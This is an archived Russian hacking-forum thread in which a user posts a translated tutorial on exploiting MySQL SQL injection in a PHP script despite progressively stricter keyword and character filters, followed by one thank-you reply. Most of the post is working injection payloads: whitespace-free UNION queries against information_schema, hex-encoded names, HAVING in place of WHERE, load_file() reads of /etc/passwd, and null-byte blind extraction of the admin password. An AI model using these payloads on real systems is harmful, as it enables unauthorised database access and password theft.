Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Эксплуатация SQL-инъекций в условиях "жесткой фильтрации"

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> Эксплуатация SQL-инъекций в условиях "жесткой фильтрации"
Имя
Сообщение << Старые топики   Новые топики >>
Эксплуатация SQL-инъекций в условиях "жесткой фильтрации" - 2010-04-10 07:23:04.490000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Приблизительный перевод вот этой интересной статьи: http://websec.wordpress.com/

Итак, рассмотрим следующий уязвимый php-скрипт:
&lt;?php // тут соединение с БД $id = $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); if($data = @mysql_fetch_array($result)) echo "Welcome ${data['name']}"; ?&gt; Примечание: на дисплей выводится только одно имя из результата запроса.

Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем:
1) ?id=1 and 1=0-- - 2) ?id=1 and 1=1-- - На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров
использую лимит:
?id=1 or 1=1 LIMIT x,1-- Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать
названия таблиц и колонок:
?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- ?id=1 and 1=0 union select null,password,null from users limit 1,1-- в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id.

1. Фильтруются пробелы, кавычки и слеши.

т.е. в исходном коде вставили такую фильтрацию id:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов:
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1--) С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring():
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы:
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр.

2. Фильтрация базовых словосочетаний, применяемых при sql-запросах

Теперь в нашем исходнике вставили такой фильтр:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit”

Проверяем, есть ли вообще sql-инъекция, но уже другим способом:
?id=1# ?id=2-1# Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit:
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь.

3. Алтернатива WHERE.

Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра:
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы:
?id=(0)union(select(0),database(),(0))# Допустим, что имя текущей БД “test”, что в хексе будет “0×74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись.

еще вариант (без использования "=" и "!=" - если фильтруются):
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(NOT((column_name)like(0x6964)))))#
4. Усложняем фильтр.
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords if(preg_match('/(union|select|from|having)/i', $id)) exit('attack'); // no sqli keywords
Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл.

Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива:

Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка:
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1.
Будем использовать оператор CASE для посимвольного чтения файла:
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) где $char - это sql хекс-значение символа файла в позиции $x

Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y).

6. Фильтр практически на все.

Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments
SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации?

Мы не можем использовать procedure analyse(), про который прочитать можно здесь, потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′

Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так:
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам.

Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос:
?id=1&&mid(pass,1,1)=(0x61);%00 Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса.

Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id:
?id=2&&mid(pass,1,1)=(0x61);%00 ?id=3&&mid(pass,1,1)=(0x61);%00 Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос:
?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 вспомнив про фильтры немного переделаем его:
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id:
?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего.

Таким образом мы опять обошли все фильтры.

6. Фильтр практически на все и еще больше.

Добавим в фильтр “=”, “|” and “&”:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments if(preg_match('/(=|&|\|)/', $id)) exit('attack'); // no boolean operators Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.:
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’:
?id=if((name)like(0x61646D696E),1,0);%00 В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе:
?id=if((name)like(0x61646D696E),id,0);%00 Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями):
?id= if( // if (it gets true if the name='admin') if((name)like(0x61646D696E),1,0), // then (if first password char='a' return admin id, else 0) if(mid((password),1,1)like(0x61),id,0), // else (return 0) 0 );%00 Что в одну строчку будет выглядеть так:
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0).

Конец.
Post #: 1
RE: Эксплуатация SQL-инъекций в условиях "жесткой фильтрации" - 2010-04-11 09:52:52.493333   
Izja

Сообщений: 607
Оценки: 0
Присоединился: 2010-03-13 14:31:17.890000
спасибо ТС, интересная статья
Post #: 2
Страниц:  [1]
Все форумы >> [Уязвимости] >> Эксплуатация SQL-инъекций в условиях "жесткой фильтрации"







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.